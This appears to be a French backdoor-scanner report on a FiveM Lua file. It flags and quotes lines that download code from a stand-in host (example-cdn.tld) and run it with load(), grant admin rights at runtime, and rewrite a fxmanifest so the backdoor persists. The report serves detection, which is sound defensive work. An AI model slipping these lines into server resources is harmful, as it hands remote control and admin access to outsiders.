Scanner de backdoors

1Generated with devtoolsgg.com2-- RÉSUMÉ --------------------------------------------------------------3Fichiers : 1   Lignes : 134[X] 4 critique   [!] 2 élevé   [-] 0 moyen   [.] 0 faible56-- CRITIQUE (4) --------------------------------------------------------78[X] Télécharge du code et l'exécute9    pasted.lua:210    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)1112    Une requête HTTP se trouve à quelques lignes d'un appel à load().13    Cette paire est un shell distant : qui contrôle l'URL contrôle votre14    serveur. Les scanners publiés la traitent comme un signal définitif.1516[X] assert(load(...)) exécute une chaîne comme du code17    pasted.lua:418    > assert(load(body))()1920    La forme de backdoor FiveM la plus répandue. Toute chaîne qui21    atteint load() s'exécute avec les privilèges du serveur. Remontez à22    la source de cette chaîne : si elle est téléchargée, décodée ou23    construite à l'exécution, considérez la ressource comme compromise.2425[X] Attribue des permissions à l'exécution26    pasted.lua:1027    > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))2829    La ressource donne les droits admin à un identifiant pendant que le30    serveur tourne, donc cela n'apparaît jamais dans votre31    permissions.cfg. Regardez quel identifiant est visé. Si ce n'est pas32    le vôtre, c'est une backdoor.3334[X] Réécrit un fxmanifest35    pasted.lua:1336    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)3738    Modifier un manifest à l'exécution ajoute un script à une ressource39    sans toucher aux fichiers de ce script. Il n'y a aucune raison40    légitime de faire ça.4142-- ÉLEVÉ (2) -----------------------------------------------------------4344[!] Requête HTTP sortante45    pasted.lua:246    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)4748    Vérifiez la destination. Une vérification de licence vers le domaine49    de l'auteur est normale ; une requête vers un domaine que vous ne50    reconnaissez pas, surtout si elle transporte des identifiants ou de51    la config, ne l'est pas.5253[!] Écrit un fichier de ressource à l'exécution54    pasted.lua:1355    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)5657    C'est ainsi qu'une backdoor survit à un redémarrage : elle se58    réécrit, ou réécrit une autre ressource ou un fxmanifest, après59    avoir été nettoyée. Comportement documenté des familles Blum Panel60    et Cipher. Regardez quelle ressource et quel fichier sont écrits.6162-- ALERTES PAR FICHIER -------------------------------------------------63   6  pasted.lua6465-- NOTE ----------------------------------------------------------------66Heuristiques statiques, pas une preuve : cela signale des formes67habituellement fautives et reste muet sur la logique qu'il ne voit pas.68Lisez les lignes signalées, puis comparez la ressource à la version69officielle de son auteur.70